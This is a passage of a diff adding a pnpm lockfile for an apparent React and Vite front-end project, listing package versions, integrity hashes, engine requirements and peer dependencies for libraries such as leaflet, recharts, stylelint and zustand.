hasBin: true + + jsesc@3.1.0: + resolution: {integrity: sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==} + engines: {node: '>=6'} + hasBin: true + + json-parse-even-better-errors@2.3.1: + resolution: {integrity: sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==} + + json-schema-traverse@1.0.0: + resolution: {integrity: sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==} + + json5@2.2.3: + resolution: {integrity: sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==} + engines: {node: '>=6'} + hasBin: true + + keyv@5.6.0: + resolution: {integrity: sha512-CYDD3SOtsHtyXeEORYRx2qBtpDJFjRTGXUtmNEMGyzYOKj1TE3tycdlho7kA1Ufx9OYWZzg52QFBGALTirzDSw==} + + kind-of@6.0.3: + resolution: {integrity: sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==} + engines: {node: '>=0.10.0'} + + known-css-properties@0.37.0: + resolution: {integrity: sha512-JCDrsP4Z1Sb9JwG0aJ8Eo2r7k4Ou5MwmThS/6lcIe1ICyb7UBJKGRIUUdqc2ASdE/42lgz6zFUnzAIhtXnBVrQ==} + + leaflet@1.9.4: + resolution: {integrity: sha512-nxS1ynzJOmOlHp+iL3FyWqK89GtNL8U8rvlMOsQdTTssxZwCXh8N2NB3GDQOL+YR3XnWyZAxwQixURb+FA74PA==} + + lines-and-columns@1.2.4: + resolution: {integrity: sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==} + + lodash.truncate@4.4.2: + resolution: {integrity: sha512-jttmRe7bRse52OsWIMDLaXxWqRAmtIUccAQ3garviCqJjafXOfNMO0yMfNpdD6zbGaTU0P5Nz7e7gAT6cKmJRw==} + + lodash@4.18.1: + resolution: {integrity: sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==} + + loose-envify@1.4.0: + resolution: {integrity: sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==} + hasBin: true + + lru-cache@5.1.1: + resolution: {integrity: sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==} + + math-intrinsics@1.1.0: + resolution: {integrity: sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==} + engines: {node: '>= 0.4'} + + mathml-tag-names@4.0.0: + resolution: {integrity: sha512-aa6AU2Pcx0VP/XWnh8IGL0SYSgQHDT6Ucror2j2mXeFAlN3ahaNs8EZtG1YiticMkSLj3Gt6VPFfZogt7G5iFQ==} + + mdn-data@2.27.1: + resolution: {integrity: sha512-9Yubnt3e8A0OKwxYSXyhLymGW4sCufcLG6VdiDdUGVkPhpqLxlvP5vl1983gQjJl3tqbrM731mjaZaP68AgosQ==} + + mdn-data@2.28.0: + resolution: {integrity: sha512-uy9AS1yt+wW5eUEefgE3lOpqPghanUttycV0GXKbiXyBjwvbeE8XPj4u1C+voRfz7dEjwU4NDHTMfZ/s/JtZrQ==} + + meow@14.1.0: + resolution: {integrity: sha512-EDYo6VlmtnumlcBCbh1gLJ//9jvM/ndXHfVXIFrZVr6fGcwTUyCTFNTLCKuY3ffbK8L/+3Mzqnd58RojiZqHVw==} + engines: {node: '>=20'} + + merge2@1.4.1: + resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==} + engines: {node: '>= 8'} + + micromatch@4.0.8: + resolution: {integrity: sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==} + engines: {node: '>=8.6'} + + mime-db@1.52.0: + resolution: {integrity: sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==} + engines: {node: '>= 0.6'} + + mime-types@2.1.35: + resolution: {integrity: sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==} + engines: {node: '>= 0.6'} + + ms@2.1.3: + resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==} + + nanoid@3.3.11: + resolution: {integrity: sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==} + engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} + hasBin: true + + node-addon-api@7.1.1: + resolution: {integrity: sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==} + + node-releases@2.0.37: + resolution: {integrity: sha512-1h5gKZCF+pO/o3Iqt5Jp7wc9rH3eJJ0+nh/CIoiRwjRxde/hAHyLPXYN4V3CqKAbiZPSeJFSWHmJsbkicta0Eg==} + + normalize-path@3.0.0: + resolution: {integrity: sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==} + engines: {node: '>=0.10.0'} + + object-assign@4.1.1: + resolution: {integrity: sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==} + engines: {node: '>=0.10.0'} + + parent-module@1.0.1: + resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==} + engines: {node: '>=6'} + + parse-json@5.2.0: + resolution: {integrity: sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==} + engines: {node: '>=8'} + + picocolors@1.1.1: + resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==} + + picomatch@2.3.2: + resolution: {integrity: sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==} + engines: {node: '>=8.6'} + + picomatch@4.0.4: + resolution: {integrity: sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==} + engines: {node: '>=12'} + + postcss-media-query-parser@0.2.3: + resolution: {integrity: sha512-3sOlxmbKcSHMjlUXQZKQ06jOswE7oVkXPxmZdoB1r5l0q6gTFTQSHxNxOrCccElbW7dxNytifNEo8qidX2Vsig==} + + postcss-resolve-nested-selector@0.1.6: + resolution: {integrity: sha512-0sglIs9Wmkzbr8lQwEyIzlDOOC9bGmfVKcJTaxv3vMmd3uo4o4DerC3En0bnmgceeql9BfC8hRkp7cg0fjdVqw==} + + postcss-safe-parser@7.0.1: + resolution: {integrity: sha512-0AioNCJZ2DPYz5ABT6bddIqlhgwhpHZ/l65YAYo0BCIn0xiDpsnTHz0gnoTGk0OXZW0JRs+cDwL8u/teRdz+8A==} + engines: {node: '>=18.0'} + peerDependencies: + postcss: ^8.4.31 + + postcss-scss@4.0.9: + resolution: {integrity: sha512-AjKOeiwAitL/MXxQW2DliT28EKukvvbEWx3LBmJIRN8KfBGZbRTxNYW0kSqi1COiTZ57nZ9NW06S6ux//N1c9A==} + engines: {node: '>=12.0'} + peerDependencies: + postcss: ^8.4.29 + + postcss-selector-parser@7.1.1: + resolution: {integrity: sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==} + engines: {node: '>=4'} + + postcss-value-parser@4.2.0: + resolution: {integrity: sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==} + + postcss@8.5.10: + resolution: {integrity: sha512-pMMHxBOZKFU6HgAZ4eyGnwXF/EvPGGqUr0MnZ5+99485wwW41kW91A4LOGxSHhgugZmSChL5AlElNdwlNgcnLQ==} + engines: {node: ^10 || ^12 || >=14} + + prop-types@15.8.1: + resolution: {integrity: sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==} + + proxy-from-env@2.1.0: + resolution: {integrity: sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==} + engines: {node: '>=10'} + + qified@0.9.1: + resolution: {integrity: sha512-n7mar4T0xQ+39dE2vGTAlbxUEpndwPANH0kDef1/MYsB8Bba9wshkybIRx74qgcvKQPEWErf9AqAdYjhzY2Ilg==} + engines: {node: '>=20'} + + queue-microtask@1.2.3: + resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==} + + react-dom@19.2.5: + resolution: {integrity: sha512-J5bAZz+DXMMwW/wV3xzKke59Af6CHY7G4uYLN1OvBcKEsWOs4pQExj86BBKamxl/Ik5bx9whOrvBlSDfWzgSag==} + peerDependencies: + react: ^19.2.5 + + react-is@16.13.1: + resolution: {integrity: sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==} + + react-is@18.3.1: + resolution: {integrity: sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==} + + react-leaflet@5.0.0: + resolution: {integrity: sha512-CWbTpr5vcHw5bt9i4zSlPEVQdTVcML390TjeDG0cK59z1ylexpqC6M1PJFjV8jD7CF+ACBFsLIDs6DRMoLEofw==} + peerDependencies: + leaflet: ^1.9.0 + react: ^19.0.0 + react-dom: ^19.0.0 + + react-refresh@0.17.0: + resolution: {integrity: sha512-z6F7K9bV85EfseRCp2bzrpyQ0Gkw1uLoCel9XBVWPg/TjRj94SkJzUTGfOa4bs7iJvBWtQG0Wq7wnI0syw3EBQ==} + engines: {node: '>=0.10.0'} + + react-router-dom@7.14.1: + resolution: {integrity: sha512-ZkrQuwwhGibjQLqH1eCdyiZyLWglPxzxdl5tgwgKEyCSGC76vmAjleGocRe3J/MLfzMUIKwaFJWpFVJhK3d2xA==} + engines: {node: '>=20.0.0'} + peerDependencies: + react: '>=18' + react-dom: '>=18' + + react-router@7.14.1: + resolution: {integrity: sha512-5BCvFskyAAVumqhEKh/iPhLOIkfxcEUz8WqFIARCkMg8hZZzDYX9CtwxXA0e+qT8zAxmMC0x3Ckb9iMONwc5jg==} + engines: {node: '>=20.0.0'} + peerDependencies: + react: '>=18' + react-dom: '>=18' + peerDependenciesMeta: + react-dom: + optional: true + + react-smooth@4.0.4: + resolution: {integrity: sha512-gnGKTpYwqL0Iii09gHobNolvX4Kiq4PKx6eWBCYYix+8cdw+cGo3do906l1NBPKkSWx1DghC1dlWG9L2uGd61Q==} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 + react-dom: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 + + react-transition-group@4.4.5: + resolution: {integrity: sha512-pZcd1MCJoiKiBR2NRxeCRg13uCXbydPnmB4EOeRrY7480qNWO8IIgQG6zlDkm6uRMsURXPuKq0GWtiM59a5Q6g==} + peerDependencies: + react: '>=16.6.0' + react-dom: '>=16.6.0' + + react@19.2.5: + resolution: {integrity: sha512-llUJLzz1zTUBrskt2pwZgLq59AemifIftw4aB7JxOqf1HY2FDaGDxgwpAPVzHU1kdWabH7FauP4i1oEeer2WCA==} + engines: {node: '>=0.10.0'} + + readdirp@4.1.2: + resolution: {integrity: sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==} + engines: {node: '>= 14.18.0'} + + recharts-scale@0.4.5: + resolution: {integrity: sha512-kivNFO+0OcUNu7jQquLXAxz1FIwZj8nrj+YkOKc5694NbjCvcT6aSZiIzNzd2Kul4o4rTto8QVR9lMNtxD4G1w==} + + recharts@2.15.4: + resolution: {integrity: sha512-UT/q6fwS3c1dHbXv2uFgYJ9BMFHu3fwnd7AYZaEQhXuYQ4hgsxLvsUXzGdKeZrW5xopzDCvuA2N41WJ88I7zIw==} + engines: {node: '>=14'} + peerDependencies: + react: ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 + react-dom: ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 + + require-from-string@2.0.2: + resolution: {integrity: sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==} + engines: {node: '>=0.10.0'} + + resolve-from@4.0.0: + resolution: {integrity: sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==} + engines: {node: '>=4'} + + reusify@1.1.0: + resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==} + engines: {iojs: '>=1.0.0', node: '>=0.10.0'} + + rollup@4.60.1: + resolution: {integrity: sha512-VmtB2rFU/GroZ4oL8+ZqXgSA38O6GR8KSIvWmEFv63pQ0G6KaBH9s07PO8XTXP4vI+3UJUEypOfjkGfmSBBR0w==} + engines: {node: '>=18.0.0', npm: '>=8.0.0'} + hasBin: true + + run-parallel@1.2.0: + resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==} + + sass@1.99.0: + resolution: {integrity: sha512-kgW13M54DUB7IsIRM5LvJkNlpH+WhMpooUcaWGFARkF1Tc82v9mIWkCbCYf+MBvpIUBSeSOTilpZjEPr2VYE6Q==} + engines: {node: '>=14.0.0'} + hasBin: true + + scheduler@0.27.0: + resolution: {integrity: sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==} + + semver@6.3.1: + resolution: {integrity: sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==} + hasBin: true + + set-cookie-parser@2.7.2: + resolution: {integrity: sha512-oeM1lpU/UvhTxw+g3cIfxXHyJRc/uidd3yK1P242gzHds0udQBYzs3y8j4gCCW+ZJ7ad0yctld8RYO+bdurlvw==} + + signal-exit@4.1.0: + resolution: {integrity: sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==} + engines: {node: '>=14'} + + slash@5.1.0: + resolution: {integrity: sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg==} + engines: {node: '>=14.16'} + + slice-ansi@4.0.0: + resolution: {integrity: sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==} + engines: {node: '>=10'} + + sonner@2.0.7: + resolution: {integrity: sha512-W6ZN4p58k8aDKA4XPcx2hpIQXBRAgyiWVkYhT7CvK6D3iAu7xjvVyhQHg2/iaKJZ1XVJ4r7XuwGL+WGEK37i9w==} + peerDependencies: + react: ^18.0.0 || ^19.0.0 || ^19.0.0-rc + react-dom: ^18.0.0 || ^19.0.0 || ^19.0.0-rc + + source-map-js@1.2.1: + resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} + engines: {node: '>=0.10.0'} + + string-width@4.2.3: + resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==} + engines: {node: '>=8'} + + string-width@8.2.0: + resolution: {integrity: sha512-6hJPQ8N0V0P3SNmP6h2J99RLuzrWz2gvT7VnK5tKvrNqJoyS9W4/Fb8mo31UiPvy00z7DQXkP2hnKBVav76thw==} + engines: {node: '>=20'} + + strip-ansi@6.0.1: + resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} + engines: {node: '>=8'} + + strip-ansi@7.2.0: + resolution: {integrity: sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==} + engines: {node: '>=12'} + + stylelint-config-prettier-scss@1.0.0: + resolution: {integrity: sha512-Gr2qLiyvJGKeDk0E/+awNTrZB/UtNVPLqCDOr07na/sLekZwm26Br6yYIeBYz3ulsEcQgs5j+2IIMXCC+wsaQA==} + engines: {node: 14.* || 16.* || >= 18} + hasBin: true + peerDependencies: + stylelint: '>=15.0.0' + + stylelint-config-recommended-scss@17.0.1: + resolution: {integrity: sha512-x5DVehzJudcwF0od3sGpgkln2PLLranFE7twwbp7dqDINCyZvwzFkMc6TLhNOvazRiVBJYATQLouJY0xPGB8WA==} + engines: {node: '>=20'} + peerDependencies: + postcss: ^8.3.3 + stylelint: ^17.0.0 + peerDependenciesMeta: + postcss: + optional: true + + stylelint-config-recommended@18.0.0: + resolution: {integrity: sha512-mxgT2XY6YZ3HWWe3Di8umG6aBmWmHTblTgu/f10rqFXnyWxjKWwNdjSWkgkwCtxIKnqjSJzvFmPT5yabVIRxZg==} + engines: {node: '>=20.19.0'} + peerDependencies: + stylelint: ^17.0.0 + + stylelint-config-standard-scss@17.0.0: + resolution: {integrity: sha512-uLJS6xgOCBw5EMsDW7Ukji8l28qRoMnkRch15s0qwZpskXvWt9oPzMmcYM307m9GN4MxuWLsQh4I6hU9yI53cQ==} + engines: {node: '>=20'} + peerDependencies: + postcss: ^8.3.3 + stylelint: ^17.0.0 + peerDependenciesMeta: + postcss: + optional: true + + stylelint-config-standard@40.0.0: + resolution: {integrity: sha512-EznGJxOUhtWck2r6dJpbgAdPATIzvpLdK9+i5qPd4Lx70es66TkBPljSg4wN3Qnc6c4h2n+WbUrUynQ3fanjHw==} + engines: {node: '>=20.19.0'} + peerDependencies: + stylelint: ^17.0.0 + + stylelint-scss@7.0.0: + resolution: {integrity: sha512-H88kCC+6Vtzj76NsC8rv6x/LW8slBzIbyeSjsKVlS+4qaEJoDrcJR4L+8JdrR2ORdTscrBzYWiiT2jq6leYR1Q==} + engines: {node: '>=20.19.0'} + peerDependencies: + stylelint: ^16.8.2 || ^17.0.0 + + stylelint@17.8.0: + resolution: {integrity: sha512-oHkld9T60LDSaUQ4CSVc+tlt9eUoDlxhaGWShsUCKyIL14boZfmK5bSphZqx64aiC5tCqX+BsQMTMoSz8D1zIg==} + engines: {node: '>=20.19.0'} + hasBin: true + + supports-color@10.2.2: + resolution: {integrity: sha512-SS+jx45GF1QjgEXQx4NJZV9ImqmO2NPz5FNsIHrsDjh2YsHnawpan7SNQ1o8NuhrbHZy9AZhIoCUiCeaW/C80g==} + engines: {node: '>=18'} + + supports-hyperlinks@4.4.0: + resolution: {integrity: sha512-UKbpT93hN5Nr9go5UY7bopIB9YQlMz9nm/ct4IXt/irb5YRkn9WaqrOBJGZ5Pwvsd5FQzSVeYlGdXoCAPQZrPg==} + engines: {node: '>=20'} + + svg-tags@1.0.0: + resolution: {integrity: sha512-ovssysQTa+luh7A5Weu3Rta6FJlFBBbInjOh722LIt6klpU2/HtdUbszju/G4devcvk8PGt7FCLv5wftu3THUA==} + + table@6.9.0: + resolution: {integrity: sha512-9kY+CygyYM6j02t5YFHbNz2FN5QmYGv9zAjVp4lCDjlCw7amdckXlEt/bjMhUIfj4ThGRE4gCUH5+yGnNuPo5A==} + engines: {node: '>=10.0.0'} + + tiny-invariant@1.3.3: + resolution: {integrity: sha512-+FbBPE1o9QAYvviau/qC5SE3caw21q3xkvWKBtja5vgqOWIHHJ3ioaq1VPfn/Szqctz2bU/oYeKd9/z5BL+PVg==} + + tinyglobby@0.2.16: + resolution: {integrity: sha512-pn99VhoACYR8nFHhxqix+uvsbXineAasWm5ojXoN8xEwK5Kd3/TrhNn1wByuD52UxWRLy8pu+kRMniEi6Eq9Zg==} + engines: {node: '>=12.0.0'} + + to-regex-range@5.0.1: + resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} + engines: {node: '>=8.0'} + + typescript@5.9.3: + resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==} + engines: {node: '>=14.17'} + hasBin: true + + undici-types@7.19.2: + resolution: {integrity: sha512-qYVnV5OEm2AW8cJMCpdV20CDyaN3g0AjDlOGf1OW4iaDEx8MwdtChUp4zu4H0VP3nDRF/8RKWH+IPp9uW0YGZg==} + + unicorn-magic@0.4.0: + resolution: {integrity: sha512-wH590V9VNgYH9g3lH9wWjTrUoKsjLF6sGLjhR4sH1LWpLmCOH0Zf7PukhDA8BiS7KHe4oPNkcTHqYkj7SOGUOw==} + engines: {node: '>=20'} + + update-browserslist-db@1.2.3: + resolution: {integrity: sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==} + hasBin: true + peerDependencies: + browserslist: '>= 4.21.0' + + util-deprecate@1.0.2: + resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==} + + victory-vendor@36.9.2: + resolution: {integrity: sha512-PnpQQMuxlwYdocC8fIJqVXvkeViHYzotI+NJrCuav0ZYFoq912ZHBk3mCeuj+5/VpodOjPe1z0Fk2ihgzlXqjQ==} + + vite@6.4.2: + resolution: {integrity: sha512-2N/55r4JDJ4gdrCvGgINMy+HH3iRpNIz8K6SFwVsA+JbQScLiC+clmAxBgwiSPgcG9U15QmvqCGWzMbqda5zGQ==} + engines: {node: ^18.0.0 || ^20.0.0 || >=22.0.0} + hasBin: true + peerDependencies: + '@types/node': ^18.0.0 || ^20.0.0 || >=22.0.0 + jiti: '>=1.21.0' + less: '*' + lightningcss: ^1.21.0 + sass: '*' + sass-embedded: '*' + stylus: '*' + sugarss: '*' + terser: ^5.16.0 + tsx: ^4.8.1 + yaml: ^2.4.2 + peerDependenciesMeta: + '@types/node': + optional: true + jiti: + optional: true + less: + optional: true + lightningcss: + optional: true + sass: + optional: true + sass-embedded: + optional: true + stylus: + optional: true + sugarss: + optional: true + terser: + optional: true + tsx: + optional: true + yaml: + optional: true + + which@1.3.1: + resolution: {integrity: sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==} + hasBin: true + + write-file-atomic@7.0.1: + resolution: {integrity: sha512-OTIk8iR8/aCRWBqvxrzxR0hgxWpnYBblY1S5hDWBQfk/VFmJwzmJgQFN3WsoUKHISv2eAwe+PpbUzyL1CKTLXg==} + engines: {node: ^20.17.0 || >=22.9.0} + + yallist@3.1.1: + resolution: {integrity: sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==} + + zod@4.3.6: + resolution: {integrity: sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg==} + + zustand@5.0.12: + resolution: {integrity: sha512-i77ae3aZq4dhMlRhJVCYgMLKuSiZAaUPAct2AksxQ+gOtimhGMdXljRT21P5BNpeT4kXlLIckvkPM029OljD7g==} + engines: {node: '>=12.20.0'} + peerDependencies: + '@types/react': '>=18.0.0' + immer: '>=9.0.6' + react: '>=18.0.0' + use-sync-external-store: '>=1.2.0' + peerDependenciesMeta: + '@types/react': + optional: true + immer: + optional: true + react: + optional: true + use-sync-external-store: + optional: true + +snapshots: + + '@babel/code-frame@7.29.0': + dependencies: + '@babel/helper-validator-identifier': 7.28.5 + js-tokens: 4.0.0 + picocolors: 1.1.1 + + '@babel/compat-data@7.29.0': {} + + '@babel/core@7.29.0': + dependencies: + '@babel/code-frame': 7.29.0 + '@babel/generator': 7.29.1 + '@babel/helper-compilation-targets': 7.28.6 + '@babel/helper-module-transforms': 7.28.6(@babel/core@7.29.0) + '@babel/helpers': 7.29.2 + '@babel/parser': 7.29.2 + '@babel/template': 7.28.6 + '@babel/traverse': 7.29.0 + '@babel/types': 7.29.0 + '@jridgewell/remapping': 2.3.5 + convert-source-map: 2.0.0 + debug: 4.4.3 + gensync: 1.0.0-beta.2 + json5: 2.2.3 + semver: 6.3.1 + transitivePeerDependencies: + - supports-color + + '@babel/generator@7.29.1': + dependencies: + '@babel/parser': 7.29.2 + '@babel/types': 7.29.0 + '@jridgewell/gen-mapping': 0.3.13 + '@jridgewell/trace-mapping': 0.3.31 + jsesc: 3.1.0 + + '@babel/helper-compilation-targets@7.28.6': + dependencies: + '@babel/compat-data': 7.29.0 + '@babel/helper-validator-option': 7.27.1 + browserslist: 4.28.2 + lru-cache: 5.1.1 + semver: 6.3.1 + + '@babel/helper-globals@7.28.0': {} + + '@babel/helper-module-imports@7.28.6': + dependencies: + '@babel/traverse': 7.29.0 + '@babel/types': 7.29.0 + transitivePeerDependencies: + - supports-color + + '@babel/helper-module-transforms@7.28.6(@babel/core@7.29.0)': + dependencies: + '@babel/core': 7.29.0 + '@babel/helper-module-imports': 7.28.6 + '@babel/helper-validator-identifier': 7.28.5 + '@babel/traverse': 7.29.0 + transitivePeerDependencies: + - supports-color + + '@babel/helper-plugin-utils@7.28.6': {} + + '@babel/helper-string-parser@7.27.1': {} + + '@babel/helper-validator-identifier@7.28.5': {} + + '@babel/helper-validator-option@7.27.1': {} + + '@babel/helpers@7.29.2': + dependencies: + '@babel/template': 7.28.6 + '@babel/types': 7.29.0 + + '@babel/parser@7.29.2': + dependencies: + '@babel/types': 7.29.0 + + '@babel/plugin-transform-react-jsx-self@7.27.1(@babel/core@7.29.0)': + dependencies: + '@babel/core': 7.29.0 + '@babel/helper-plugin-utils': 7.28.6 + + '@babel/plugin-transform-react-jsx-source@7.27.1(@babel/core@7.29.0)': + dependencies: + '@babel/core': 7.29.0 + '@babel/helper-plugin-utils': 7.28.6 + + '@babel/runtime@7.29.2': {} + + '@babel/template@7.28.6': + dependencies: + '@babel/code-frame': 7.29.0 + '@babel/parser': 7.29.2 + '@babel/types': 7.29.0 + + '@babel/traverse@7.29.0': + dependencies: + '@babel/code-frame': 7.29.0 + '@babel/generator': 7.29.1 + '@babel/helper-globals': 7.28.0 + '@babel/parser': 7.29.2 + '@babel/template': 7.28.6 + '@babel/types': 7.29.0 + debug: 4.4.3 + transitivePeerDependencies: + - supports-color + + '@babel/types@7.29.0': + dependencies: + '@babel/helper-string-parser': 7.27.1 + '@babel/helper-validator-identifier': 